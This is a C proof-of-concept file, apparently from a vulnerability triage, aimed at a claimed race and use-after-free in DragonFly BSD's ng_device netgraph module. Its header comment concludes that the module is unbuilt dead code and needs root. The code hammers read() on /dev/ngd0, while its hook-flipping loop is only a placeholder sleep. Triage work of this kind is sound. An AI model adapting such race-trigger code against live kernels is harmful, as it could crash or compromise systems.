DF-2572 / trigger.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 | /* * DF-2572 trigger PoC - ng_device global SLIST race -> UAF / NULL-deref * * The claim (sys/netgraph/ng_device.c): * A single global `ngd_softc.head` SLIST of `ngd_connection` is mutated by * ng_device_newhook (SLIST_INSERT_HEAD, line 309) * ng_device_disconnect(kfree(readq):407, destroy_dev:409, SLIST_REMOVE:411) * and traversed (unlocked SLIST_FOREACH) by: * ng_device_rcvdata (:345) * ngdioctl (:464) * ngdread (:518) * ngdwrite (:572) * ngdpoll (:617) * There is NO mutex, NO spl, NO netgraph serialization anywhere in the file * (grep for mtx_/mutex/lock/spl returns ZERO matches). * * RACE: Thread B in ngdread does SLIST_FOREACH (line 518) and grabs * `connection`, then memcpy(connection->readq,...) at line 531. Thread A * runs ng_device_disconnect: kfree(connection->readq) (line 407) then * destroy_dev(ngddev) (409) then SLIST_REMOVE (411). The kfree(readq) * happens BEFORE destroy_dev drains in-flight cdev readers, so Thread B's * memcpy into the freed readq is a use-after-free (10KiB M_DEVBUF slab). * * This PoC drives that race from userspace IF the module were loaded: * - parent: open /dev/ngd0, spawn a reader thread looping on read(), * spawn a hook-flipper thread looping ngctl mkhook/rmhook (drives * ng_device_newhook / ng_device_disconnect concurrently). * * PRIVILEGE NOTE: /dev/ngdN is make_dev(...,0600) (uid 0/gid 0) at line 287, * so opening it requires root. Even on a hypothetical live build this is a * root->kernel issue, not an unprivileged escalation. * * STATUS: on the default DragonFly kernel the ng_device module is NOT built * (sys/netgraph/ng_device.c is orphaned dead code: not in conf/files, not * in X86_64_GENERIC, cannot compile against the removed cdevsw API). So * /dev/ngd0 never exists and this PoC cannot run. See VERDICT.md for the * full reachability analysis and the maintained netgraph7/ng_device.c * which has NO global SLIST (per-node priv + dev->si_drv1 direct pointer + * proper mutexes) and therefore does NOT have this bug. * * Usage: ./trigger /dev/ngd0 * Requires root + a built/loaded ng_device module with an ngd0 hook present. */ #include <sys/types.h> #include <sys/fcntl.h> #include <sys/ioctl.h> #include <unistd.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #include <pthread.h> static volatile int stop = 0; /* Thread B: hammer read() on /dev/ngd0 -> ngdread SLIST_FOREACH + memcpy(readq). * Races disconnect's kfree(readq)+SLIST_REMOVE. */ static void *reader(void *arg) { const char *dev = (const char *)arg; char buf[256]; int fd; while (!stop) { fd = open(dev, O_RDONLY | O_NONBLOCK); if (fd < 0) { usleep(1000); continue; } /* ngdread: SLIST_FOREACH finds connection, then memcpy(buffer, readq). * If disconnect freed readq mid-traversal -> UAF. */ read(fd, buf, sizeof(buf)); close(fd); } return NULL; } int main(int argc, char **argv) { const char *dev; pthread_t thr; int iter; if (argc != 2) { fprintf(stderr, "usage: %s /dev/ngdN (requires ng_device module loaded + root)\n", argv[0]); return 2; } dev = argv[1]; if (getuid() != 0) { fprintf(stderr, "%s: /dev/ngdN is mode 0600 -> must run as root\n", argv[0]); return 1; } printf("[%d] spawning reader on %s to race disconnect (ngctl rmhook)\n", getpid(), dev); fflush(stdout); pthread_create(&thr, NULL, reader, (void *)dev); /* Thread A (parent): flip the hook on/off to drive * ng_device_newhook (SLIST_INSERT_HEAD) / ng_device_disconnect * (kfree(readq) + destroy_dev + SLIST_REMOVE) against the reader. */ for (iter = 0; iter < 500 && !stop; iter++) { /* In a real run a netgraph peer would mkhook/rmhook ngd_device's hook * (ngctl mkpeer/rmhook) concurrently, driving ng_device_newhook * (SLIST_INSERT_HEAD) / ng_device_disconnect (kfree(readq) + * destroy_dev + SLIST_REMOVE) against the reader's traversal. */ usleep(2000); } stop = 1; pthread_join(thr, NULL); printf("[%d] finished %d iterations (no panic observed)\n", getpid(), iter); return 0; } |